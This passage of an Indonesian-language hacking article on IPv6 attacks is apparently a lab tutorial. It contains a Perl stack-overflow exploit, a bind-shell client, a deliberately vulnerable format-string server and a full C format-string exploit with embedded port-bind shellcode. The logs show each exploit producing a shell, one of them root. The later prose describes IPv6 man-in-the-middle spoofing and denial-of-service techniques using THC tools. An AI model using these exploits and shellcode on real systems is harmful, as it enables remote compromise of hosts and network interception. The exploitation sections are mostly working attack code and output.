#NOP 86 bytesmy $nop = "\x90"x86;

Page 28: 40490719-0x01-Ipv6-Attack

my $eip = "\x41\x41\x41\x41";

my $s = IO::Socket::INET6->new(PeerAddr => $ARGV[0], PeerPort => int($ARGV[1]), Domain => AF_INET6, Timeout => 5);

my $buffer = $nop . $shellcode . $eip;print $s $nop.$shellcode.$eip;print "Check your shell at " . $ARGV[0] . " on port 4444\n";close($s);

PCATTCK

attack~> perl rexploit-demo6.pl 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555Check your shell at 2010:5c0:1441:a0a:8891:afaf:7660:5401 on port 4444attack~>

PCSERV

(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/anto/k-elektronik/code/exploit/server-demo6MSG = 3ɱÛÙ$ôÉZ1ZZÂ�cϪeeJô¨àä´¶

Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) i reax 0x0 0ecx 0x0 0edx 0xb7fd10d0 -1208151856ebx 0xb7fcfff4 -1208156172esp 0xbffff7b0 0xbffff7b0ebp 0x56365d2 0x56365d2esi 0x8048830 134514736edi 0x8048580 134514048eip 0x41414141 0x41414141eflags 0x10292 [ AF SF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51(gdb) x/200xb $esp0xbffff7b0: 0x48 0x2d 0xfe 0xb7 0x00 0xf7 0xff 0xbf0xbffff7b8: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x000xbffff7c0: 0x5c 0xfa 0xff 0xbf 0xf0 0xf7 0xff 0xbf0xbffff7c8: 0xd8 0x2a 0xe8 0xb7 0x10 0x69 0x69 0x0d0xbffff7d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff800: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff808: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff810: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff818: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

Page 29: 40490719-0x01-Ipv6-Attack

0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x33 0xc90xbffff828: 0xb1 0x17 0xdb 0xdf 0xd9 0x74 0x24 0xf40xbffff830: 0xbb 0xeb 0xfe 0xc9 0xcd 0x5a 0x31 0x5a0xbffff838: 0x16 0x03 0x5a 0x16 0x83 0xc2 0x04 0xe20xbffff840: 0x1e 0xcf 0x12 0x9e 0xa3 0x63 0xcf 0x2b0xbffff848: 0xaa 0x65 0x65 0x4a 0xf4 0xa8 0xfa 0x040xbffff850: 0x9d 0x61 0xa9 0x7a 0xcf 0xd7 0x1f 0x1d0xbffff858: 0x87 0xc6 0xc3 0x87 0x3f 0xe3 0xfb 0xce0xbffff860: 0x5e 0x99 0xe7 0x81 0xf6 0xd7 0xf9 0x610xbffff868: 0x9c 0x81 0xa1 0xa8 0xe0 0xfe 0x34 0x800xbffff870: 0xe4 0x33 0x38 0xb4 0xb6 0x9d 0xb0 0xd8(gdb)

Dengan menggunakan dummy exploit di atas bisa kita lihat bahwa registerEIP teroverwrite oleh '\x41\x41\x41\x41'. Alamat register ESP yang bisadieksploitasi adalah alamat yang berisi NOP misalnya adalah 0xbffff7e0.Jika alamat tersebut ditulis dalam little endian maka menjadi'\xe0\xf7\xff\xbf'. Alamat ini kemudian digunakan dalam dummy exploituntuk menggantikan nilai '$eip' sehingga menjadi

$eip = '\xe0\xf7\xff\xbf';

Kirimkan ulang dummy exploit tersebut dari PCATTCK ke PCSERV.

PCATTCK

attack~> perl rexploit-demo6-2.pl 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555Check your shell at 2010:5c0:1441:a0a:8891:afaf:7660:5401 on port 4444attack~>

PCSERV

(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/anto/k-elektronik/code/exploit/server-demo6MSG = 3ɱÛÙ$ôÉZ1ZZÂ�cϪeeJô¨àä´¶

Server IPv6 Demo kali ini tidak mengalami crash, dari PCATTCK lakukanpengecekan shell di port 4444 PCSERV dengan menggunakan 'getshell6.c'yang bisa diperoleh dari ipv6-hackit/C/getshell6.c

#include <stdlib.h>#include <string.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <sys/types.h>#include <netdb.h>#include <fcntl.h>

/*getshell6.c is provided by Ph03n1XThis code is ripped and modified from Joonbok LeePresentation about IPv6 Socket Programming*/

int main(int argc, char *argv[]){

Page 30: 40490719-0x01-Ipv6-Attack

fd_set fd_read; char buff[2048]; int n, s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI;

if(argc!=3){ printf("Usage : %s <IPv6 address> <Port>\n", argv[0]); exit(0); }

if(strstr(argv[1],":")==NULL){ printf("ERR : You dont enter valid IPv6 address!\n"); exit(0); }

memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM;

retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); }

for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if(AI->ai_family==AF_INET6){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } c=connect(s,AI->ai_addr,AI->ai_addrlen); }else{ printf("%s is not IPv6 family\n",argv[1]); } freeaddrinfo(AddrInfo); }

FD_ZERO(&fd_read); FD_SET(s, &fd_read); FD_SET(0, &fd_read);

while(1) { FD_SET(s,&fd_read); FD_SET(0,&fd_read);

if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;

if (FD_ISSET(s, &fd_read)) { if((n = recv(s, buff, sizeof(buff), 0)) < 0){ fprintf(stderr, "EOF\n"); exit(2); } if (write(1, buff, n) < 0) break; }

if (FD_ISSET(0, &fd_read)) { if((n = read(0, buff, sizeof(buff))) < 0){ fprintf(stderr, "EOF\n"); exit(2);

Page 31: 40490719-0x01-Ipv6-Attack

} if (send(s, buff, n, 0) < 0) break; }

usleep(10); } fprintf(stderr, "Connection lost.\n\n"); exit(0);}

attack~> gcc -o getshell6 getshell6.cattack~> ./getshell6 2010:5c0:1441:a0a:8891:afaf:7660:5401 4444iduid=1001(anto) gid=1001(anto) groups=119(admin),1001(anto)pwd/home/anto/k-elektronik/code/exploituname -aLinux inetgw-2 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686GNU/Linux#OWNED

Yeah! PCSERV berhasil dikuasai dengan memanfaatkan IPv6 based remoteexploit dan shellcode bind execve. Tidak ada perbedaan yang mendasaruntuk mengeksploitasi stack based buffer overflow di IPv6 dan di IPv4.Exploitasi hanya membutuhkan porting socket dan shellcode saja.

--[7.2]-- Exploitasi Format String

Exploitasi format string merupakan teknik exploitasi terhadap program yangsalah dalam mengimplementasikan fungsi-fungsi format string. Teknik inibisa digunakan untuk membuat crash aplikasi yang vulnerable atau bahkanuntuk mengeksekusi semabarang kode layaknya buffer overflow. Beberapafungsi format string adalah printf(), sprintf(), snprintf(), danfprintf(). Penggunaan fungsi ini secara benar bisa dibaca pada fileheader stdio.h.

Tulisan ini hendak membahas bagaimana melakukan exploitasi format stringsecara remote pada aplikasi yang berjalan di IPv6 tetapi dengan asumsibahwa stack smashing protection dan randomized virtual address didisable.Selanjutnya untuk mengilustrasikan bagaimana proses exploitasi formatstring, saya menggunakan contoh program vulnerable berikut:

/* fmtserv6.c */#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <stdio.h>#include <netdb.h>#include <string.h>#include <stdlib.h>

#define PORT "55555"#define BUFFSZ 1024#define READSZ 2048

int main(int argc, char *argv[]){ struct sockaddr_in6 from; struct addrinfo req, *ans;

Page 32: 40490719-0x01-Ipv6-Attack

int code, s, s2, len, retval; char buff[1024];

memset(&req, 0, sizeof(req)); req.ai_flags = AI_PASSIVE; req.ai_family = AF_INET6; req.ai_socktype = SOCK_STREAM; req.ai_protocol = 0;

retval = getaddrinfo(NULL,PORT,&req,&ans); if(retval!=0){ printf("ERROR!getaddrinfo\n"); exit(1); } s = socket(ans->ai_family, ans->ai_socktype, ans->ai_protocol); if(s<0){ printf("ERROR!socket\n"); exit(1); } if (bind(s, ans->ai_addr, ans->ai_addrlen) < 0){ printf("ERROR!bind\n"); exit(1); } listen(s,5); while(1){ s2,len = sizeof(from); s2 = accept(s, (struct sockaddr *) &from, &len); if(s2<0){ continue; } if(vulnerable(s2) == -1){ printf("Error: vulnerable()\n"); close(s2); } } freeaddrinfo(ans); exit(0);}

int vulnerable(int sock){ char buffer[BUFFSZ], readbuf[READSZ];

memset(buffer, 0, BUFFSZ); memset(readbuf, 0, READSZ); read(sock, readbuf, READSZ, 0); snprintf(buffer, BUFFSZ-1, readbuf); // format string vulnerability here send(sock, buffer, BUFFSZ, 0); close(sock);}

Kode di atas saya ambil dari tulisan di milw0rm [xvii] oleh Jeremy Brownkemudian saya porting supaya bekerja pada IPv6. Coba perhatikan fungsisnprintf() pada fungsi vulnerable(), mengacu pada file stdio.h fungsisnprintf() adalah:

extern int snprintf (char *__restrict __s, size_t __maxlen, __const char *__restrict __format, ...) __THROW __attribute__ ((__format__ (__printf__, 3, 4)));

Page 33: 40490719-0x01-Ipv6-Attack

Argumen ke-3 dari fungsi snprintf() didefinisikan sebagai const chartetapi pada fungsi vulnerable() argumen ke-3 fungsi snprintf() adalahvariable readbuff. Celakanya variable readbuff bisa dikontrol oleh usersehingga jika dieksploitasi memungkinkan untuk mengeksekusi sembarangkode. Kompile kode diatas sebagai berikut:

pcserv~> gcc -fno-stack-protector -o fmtserv6 fmtserv6.c

Program 'fmtserv6' saya jalankan pada PCSERV yang memiliki alamat IPv62010:5c0:1441:a0a:8891:afaf:7660:5401/64. Sedangkan proses exploitasidari alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 yangselanjutnya saya sebut dengan PCATTCK.

Untuk mengeksploitasi format string secara remote temukan Global OffsetTable (GOT) address untuk fungsi snprintf() pada program fmtserv6 yangvulnerable.

PCSERV

pcserv~> objdump -R fmtserv6

fmtserv6: file format elf32-i386

DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE08049ff0 R_386_GLOB_DAT __gmon_start__0804a000 R_386_JUMP_SLOT __gmon_start__0804a004 R_386_JUMP_SLOT listen0804a008 R_386_JUMP_SLOT memset0804a00c R_386_JUMP_SLOT __libc_start_main0804a010 R_386_JUMP_SLOT read0804a014 R_386_JUMP_SLOT accept0804a018 R_386_JUMP_SLOT socket0804a01c R_386_JUMP_SLOT getaddrinfo0804a020 R_386_JUMP_SLOT bind0804a024 R_386_JUMP_SLOT close0804a028 R_386_JUMP_SLOT send0804a02c R_386_JUMP_SLOT puts0804a030 R_386_JUMP_SLOT snprintf0804a034 R_386_JUMP_SLOT exit

pcserv~> ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Globalpcserv~> gdb -q ./fmtserv6(gdb) rStarting program: /home/anto/k-elektronik/code/test/fmtserv6

GOT address untuk fungsi snprintf() adalah 0x0804a030. Selanjutnyadengan bantuan 'gdb' saya menjalankan 'fmtserv6' dan melakukandebugging. Sebelum melakukan exploitasi lebih jauh, saya melakukanguessing untuk menentukan offset program tersebut dari PCATTCK.

PCATTCK

attack~> ifconfig eth0|grep inet6 inet6 addr: fe80::200:1cff:fedc:fb66/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 Scope:Globalattack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555

Page 34: 40490719-0x01-Ipv6-Attack

AAAA%p%p%p%p%p%p%p%p%p%pAAAA(nil)(nil)(nil)0x414141410x702570250x702570250x702570250x702570250x702570250xaattack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555AAAA%4$xAAAA41414141

Dari percobaan guessing saya memperoleh offset fmtserv6 adalah 4. Sayamenggunakan shellcode binding port yang digunakan pada exploitasi stackbased buffer overflow untuk mengambil alih kontrol program 'fmtserv6' danmengeksekusi '/bin/sh'. Semua sudah disiapkan, tetapi kita belum tahualamat register ESP yang bisa dieksploitasi agar shellcode di eksekusioleh register EIP. Untuk itu saya menggunakan dummy exploit padareferensi [xvii] dan diporting agar bekerja pada IPv6 sebagai berikut:

#include <stdio.h>#include <netdb.h>#include <netinet/in.h>#include <sys/socket.h>

#define GOTADDR 0x0804a030 //snprintf() --> objdump -R fmtserv#define RETADDR 0x41414141 // return address to hit nop slide +shellcode

#define OFFSET 4#define SIZE 1024

char shellcode[] = /*Portbind @ 4444*/"\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9""\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf""\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04""\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3""\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8""\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92""\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb""\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96""\xe3\xef\xd2\x65\x63\x05";

int main(int argc, char *argv[]){

if(argc < 3) { printf("Usage: %s host port\n", argv[0]); return 0; }

char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2),((char *)GOTADDR),}; int i, high, low, len; int n, s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI;

high = (RETADDR & 0xffff0000) >> 16; low = (RETADDR & 0x0000ffff);

high -= 0x8;

sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET,(low - high) - 0x8, OFFSET + 1); memset(buffer + strlen(buffer), '\x90', 512);

Page 35: 40490719-0x01-Ipv6-Attack

sprintf(buffer + strlen(buffer), "%s\r\n", shellcode);

len = strlen(buffer);

memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM;

retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); }

for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } connect(s,AI->ai_addr,AI->ai_addrlen); send(s,buffer,len,0); }

for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } connect(s,AI->ai_addr,AI->ai_addrlen); send(s,buffer,len,0); } freeaddrinfo(AddrInfo); return 0;}

PCATTCK

attack~> gcc -o fmtex6 fmtex6.cattack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555

PCSERV

Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) i reax 0xbfffef68 -1073746072ecx 0xbfffe768 -1073748120edx 0x800 2048ebx 0xb7fccff4 -1208168460esp 0xbfffe74c 0xbfffe74cebp 0xbffff368 0xbffff368esi 0x8048850 134514768edi 0x8048550 134514000eip 0x41414141 0x41414141eflags 0x10207 [ CF PF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123

Page 36: 40490719-0x01-Ipv6-Attack

fs 0x0 0gs 0x33 51(gdb) x/100x $esp0xbfffe74c: 0x080487ff 0xbfffef68 0x000003ff 0xbfffe7680xbfffe75c: 0x00000000 0x00000000 0x00000000 0x0804a0320xbfffe76c: 0x0804a030 0x39342e25 0x78333431 0x682434250xbfffe77c: 0x312e256e 0x33313430 0x24352578 0x90906e680xbfffe78c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe79c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7ac: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7bc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7cc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7dc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7ec: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7fc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe80c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe81c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe82c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe83c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe84c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe85c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe86c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe87c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe88c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe89c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe8ac: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe8bc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe8cc: 0x90909090 0x90909090 0x90909090 0x90909090(gdb)

Dengan menggunakan dummy exploit di atas bisa kita lihat bahwa registerEIP teroverwrite oleh '\x41\x41\x41\x41'. Alamat register ESP yang bisadieksploitasi adalah alamat yang berisi NOP misalnya adalah 0xbfffe8cc.Alamat ini kemudian digunakan untuk menggantikan RETADDR pada dummyexploit sehingga menjadi.

#define RETADDR 0xbfffe8cc

Kirim ulang dummy exploit tersebut dari PCATTCK ke PCSERV.

PCSERV

(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/anto/k-elektronik/code/test/fmtserv6

PCATTCK

attack~> gcc -o fmtex6 fmtex6.cattack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555attack~> gcc -o getshell6 getshell6.cattack~> ./getshell6 2010:5c0:1441:a0a:8891:afaf:7660:5401 4444iduid=0(root) gid=0(root) groups=0(root)pwd/home/anto/k-elektronik/code/test/sbin/ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link

Page 37: 40490719-0x01-Ipv6-Attack

inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global

Yeah! PCSERV berhasil dikuasai dengan memanfaatkan IPv6 based remoteexploit dan shellcode bind execve. Tidak ada perbedaan yang mendasaruntuk mengeksploitasi celah keamanan format string di IPv6 dan di IPv4.Exploitasi hanya membutuhkan porting socket dan shellcode saja.

Sebagai catatan, pembuatan exploit dengan cara sederhana ini seringmenghasilkan exploit yang tidak reliable dan mengakibatkan crash padaaplikasi yang dieksploitasi. Tetapi sebagai bahan belajar bagaimanasebuah aplikasi diexploitasi, cara sederhana inilah yang menurut sayapaling mudah dipahami.

--[8]-- IPv6 Protocol Vulnerability

Protokol secara harfiah bisa diartikan sebagai aturan sedangkan padakomunikasi data protokol diartikan sebagai sekumpulan aturan standaryang digunakan agar proses komunikasi interoperable pada sistem yangbersifat heterogen. Pada IPv4 telah ditemukan berbagai celah keamananpada implementasi protokol tersebut misalnya celah keamanan pada ARPyang bisa digunakan untuk Man In The Middle dan celah keamanan padaimplementasi TCP yang memungkinkan TCP Session Hijacking. IPv6 dikembangkan dengan memperhatikan beragam aspek keamanan tetapi masih memungkinkan untuk diexploitasi. Exploitasi pada protokol ini digambarkan secara jelas oleh Van Hauser pada presentasinya yang bisa didownload dari website THC [xv].

Celah keamanan yang dibahas pada protokol IPv6 yang ada diartikel inimengacu seluruhnya pada presentasi tersebut dengan ditambahi penjelasanyang lebih detail. Tools yang digunakan juga bisa didownload dariwebsite THC yaitu thc-ipv6 yang release terakhirnya adalah versi 0.7.

--[8.1]-- Man In The Middle

Man In The Middle atau yang biasa dikenal dengan MITM, merupakan sebuahserangan pada tahap gaining access dengan memposisikan seorang attackerditengah-tengah komunikasi data antar dua pihak. Jenis serangan iniberguna untuk melakukan serangan lebiih lanjut. Pada IPv4, serangan MITMini bisa dilakukan dengan berbagai cara antara lain ARP cache poisoningdan DHCP spoofing. Pada IPv6 tidak dikenal ARP tetapi digantikan oleh ICMPv6 neighbor discovery sedangkan DHCP pada IPv6 digantikan oleh ICMPv6 Stateless Auto-Configuration.

--[8.1.1]-- ICMPv6 Neighbor Discovery/Solicitation

ICMPv6 berperan dalam pencarian MAC address sebuah alamat IPv6dijaringan layaknya ARP.

----------........NS : Are you B?>>........----------| Node A |---------------------------------| Node B |---------- ........<<NA : I am B...........---------- Ketika Node A ingin menghubungi Node B untuk melakukan komunikasi data,Node A mencari tahu alamat MAC Node B dengan mengirim paket ICMPv6Neighbor Solicitation (ICMP type 135/NS) ke alamat multicast address untuk semua node (ff02::1)[xvi].

Page 38: 40490719-0x01-Ipv6-Attack

Node B yang menerima paket ICMPv6 NS tersebut meresponse denganmenggunakan paket ICMPv6 Neighbor Advertisment (ICMP type 136/NA) danditujukan ke alamat Node A.

Permasalahannya adalah ketika seseorang yang ada di jaringan tersebutmengirimkan paket ICMPv6 NA palsu (spoofed). Misalnya Node C mengirimkanICMPv6 NA palsu ke Node A, maka Node A tidak menghubungi Node Bmelainkan tertipu untuk menghubungi Node C.

..............----------

..............| Node C |

..............----------

............./../

............/../NS Are U B?/../ NA : I am B!........../../........./../......../../----------........NS : Are you B?>>........----------| Node A |---------------------------------| Node B |---------- ........<<NA : I am B...........----------

Setiap Node C menerima paket ICMPv6 NS multicast, node C akan menjawab bahwa dialah alamat MAC yang sedang dicari. Ketika A mencari B, maka Cjuga menerima ICMPv6 NS multicast dan segera menjawab A bahwa dia adalah B.Ketika B sedang mencari A, maka C juga menerima ICMPv6 NS multicast dansegera menjawab B bahwa dia adalah A. Demikian juga ketika C menerimaICMPv6 NS multicast dari node lain, dia akan segera mengklaim bahwadialah yang sedang dicari. Teknik ini digunakan pada'thc-ipv6/parasite6' untuk melakukan MITM.

--[8.1.2]-- ICMPv6 Stateless Auto-Configuration

ICMPv6 Stateless Auto-Configuration bekerja seperti DHCP pada IPv4. Diamemberikan alamat IPv6 secara otomatis pada setiap node. Tetapi perludiingat alamat yang diberikan adalah alamat unicast link-local (bukanunicast global).

Sebuah node IPv6 (Node A) yang belum memiliki tabel routing akanmengirimkan paket ICMPv6 Router Solicitation (ICMP type 133/RS) kealamat multicast semua router (ff02::02). Router IPv6 secara periodik mengirimkan ICMPv6 Router Advertisment (ICMP type 134/RA) ke alamat multicast semua node (ff02::1). Node yang menerima paket ini segera mengkonfigurasi tabel routing sesuai dengan prefix jaringan pada ICMPv6 RA.

----------......RS : Are you router?>>.....----------| Node A |---------------------------------| Router |----------.......<<RA : I am router .......----------............this is your network prefix

Permasalahannya adalah ketika ada node (Node C) yang mengirimkan paket ICMPv6 RA palsu (spoofed) ke semua node dan mengklaim dia adalah default router. Traffic semua node yang ada dijaringan tersebut akan dibelokkanmelalui node C.

..............----------

..............| Node C |

..............----------

............./../

Page 39: 40490719-0x01-Ipv6-Attack

............/../

.........../../ RA : I am router, this is your network prefix

........../../

........./../

......../../----------.....RS : Are you router?>>......----------| Node A |---------------------------------| Router |---------- ......<<RA : I am router........----------............this is your network prefix

Node C secara periodik mengirimkan ICMPv6 Router Advertisment kesemuanode dan mengklaim bahwa dia adalah default router. Teknik ini digunakanpada 'thc-ipv6/fake_router6' untuk melakukan MITM.

--[8.2]-- Denial of Service

Denial of service (DoS) adalah jenis serangan yang bertujuan untuk mengganggu availability resource jaringan atau bahkan tidak bisa diakses sama sekali. Beberapa jenis serangan DoS yang dikenal antara lain:

--[8.2.1]-- Smurfing Attack

Smurfing attack merupakan salah satu jenis serangan bertujuan untuk membanjiri korban dengan paket sampah sehingga korban tidak bisadiakses. Jenis serangan ini termasuk kategori traffic amplification attack.Pada IPv4 smurfing attack dilakukan dengan mengirim paket data ke alamatbroadcast sebuah jaringan dengan source paket yang dipalsukan (spoofed).

Pada IPv6 tidak dikenal alamat broadcast tetapi menggunakan alamatmulticast. Draft RFC 2463 menyebutkan bahwa tidak ada respons ICMP yangdiberikan ketika pengiriman ICMP ditujukan ke alamat multicast, tetapiada beberapa pengecualian untuk IPv6. Pada jaringan lokal, smurfing bisadilakukan dengan mengirim ICMPv6 echo request ke alamat multicast untuksemua node (ff02::1) dengan source dipalsukan ke target (victim). Teknikini digunakan pada 'thc-ipv6/smurf6'.

........................................----------

........................................| Node A |---|

........................................----------...|

.......ICMPv6 Echo Request..............----------...|

....|----------------------->>>.........| Node B |--||

....|.....dst = ff02::1.................----------..|| ICMPv6 Echo Reply

....|.....src = victim..................----------..||

....|...................................| Node C |-|||

....|...................................----------.|||

....| ...|||

....| ...vvv----------......................................----------|Attacker|......................................| Victim |----------......................................----------

Pengimplementasian smurfing attack pada jaringan IPv6 global di internettergantung pada pengimplementasian header routing. So far, teknik inipernah diimplementasikan pada exploitasi linux kernel versi lama yangsaat ini sudah diperbaiki. Teknik ini digunakan pada 'thc-ipv6/rsmurf6'.

Page 40: 40490719-0x01-Ipv6-Attack

--[8.2.2]-- Denial of Service via Duplicate Address Detection

Duplicate Address Detection (DAD) merupakan sebuah mekanisme untukmelakukan pengecekan apakah sebuah alamat IPv6 sudah digunakan di dalamjaringan. DAD menggunakan ICMP tipe 135 (NS) untuk melakukan pengecekan. Sebuah sistem baru (Node A) yang ingin bergabung ke jaringan IPv6 mengirimkan ICMP tipe 135 ke alamat multicast semua node (ff02::1)menanyakan apakah ada yang memiliki alamat IPv6 yang hendak dia pakai.Jika tidak ada yang merespon maka alamat IPv6 tersebut segera digunakantetapi jika ada yang merespon maka dia mencoba menggunakan IPv6 yanglain dan melakukan pengecekan DAD lagi.

Permasalahannya adalah, jika sistem baru tersebut setiap mengirimkanICMP tipe 135 selalu ada yang merespon maka dia tidak akan pernahterkoneksi ke jaringan IPv6.

.......................NS : Are you B?

.......................-------------->>------------|

....................NS : Are you A?................v----------..........-------------->>............----------| Node A |......................................|Attacker|----------..........<<--------------............----------....^...............Yes i am A.....................|....|...........<<---------------................Yes i am B

Setiap kali ICMP tipe 135 (NS) dikirim ke semua node, attacker selalumerespon paket tersebut sehingga Node A tidak pernah mendapatkan alamatIPv6. Teknik ini digunakan pada 'thc-ipv6/dos-new-ipv6'.

--[8.3]-- Other Attack

Empat macam serangan pada implementasi IPv6 di atas adalah beberapacontoh exploitasi memanfaatkan kelemahan pada protokol. Jenis seranganlain :

- IPv6 Fragmentation attack, proses fragmentasi paket data dilakukan oleh source dan disusun ulang ketika sampai tujuan. Teknik fragmentasi pada IPv4 bisa digunakan untuk fragmentasi pada IPv6.

- Mobile IPv6 mengizinkan node node untuk berpindah jaringan namun menjaga koneksi TCP/UDP tetap tersambung. Implementasi protokol sudah aman karena IPSEC aktif. Tetapi semua implementasi mobile IPv6 mengizinkan untuk mendisable IPSEC. Jika IPSEC non-aktif, maka dengan menggunakan 'thc-ipv6/fake_mipv6' kita bisa mengalihkan traffic mobile IPv6 ke sembarang alamat tujuan.

- ICMP TCP attack masih bekerja sehingga memungkinkan kita untuk memutuskan TCP session. Misalnya untuk mengeksploitasi kerja BGP kita bisa memanfaatkan ICMPv6 error message.

Saya sangat menyarankan kepada anda untuk membaca presentasi Van Hauser agar melengkapi referensi exploitasi protokol IPv6 yang sudah tertulispada artikel ini.

--[8.5]-- Attacking IPv6 Protocol Vulnerability in Practice

Penjelasan IPv6 protocol vulnerability di atas dimaksudkan agar para

Page 41: 40490719-0x01-Ipv6-Attack

pembaca mengerti benar konsep kelemahan protocol ini. Untuk memberikanilustrasi lebih lengkap, saya tambahkan pada artikel ini bagaimanamelakukan man in the middle dengan teknik pada 8.1.1. Tools yang sayagunakan adalah 'parasite6' yang terbendle dalam thc-ipv6 versi 0.7.

[Node A]----------------[switch]------------------[Node B]...........................|...........................|...........................|...........................|.......................[Attacker]

Pada skenario di atas, masing masing komputer memiliki alamat IPv6sebagai berikut:

Node A :ifconfig eth0 |grep inet6 inet6 addr: fe80::200:1cff:fedc:fb66/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 Scope:Global

Node B :ifconfig eth0 |grep inet6 inet6 addr: fe80::213:74ff:fe00:5c38/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5403/64 Scope:Global

Attacker :ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global

Attacker melakukan percobaan sniffing pada komunikasi antara Node A danNode B. Untuk menyederhanakan pembahasan, saya melakukan sniffing ICMPv6Echo Request dari Node A ke Node B. Percobaan sniffing dilakukanmenggunakan tcpdump.

--[8.5.1]-- Sniffing Tanpa Man In The Middle

Attacker menjalankan tcpdump pada mesinnya dengan perintah linux sebagaiberikut:tcpdump -nnev icmp6 and src host 2010:05c0:1441:0a0a:8891:afaf:7660:5402

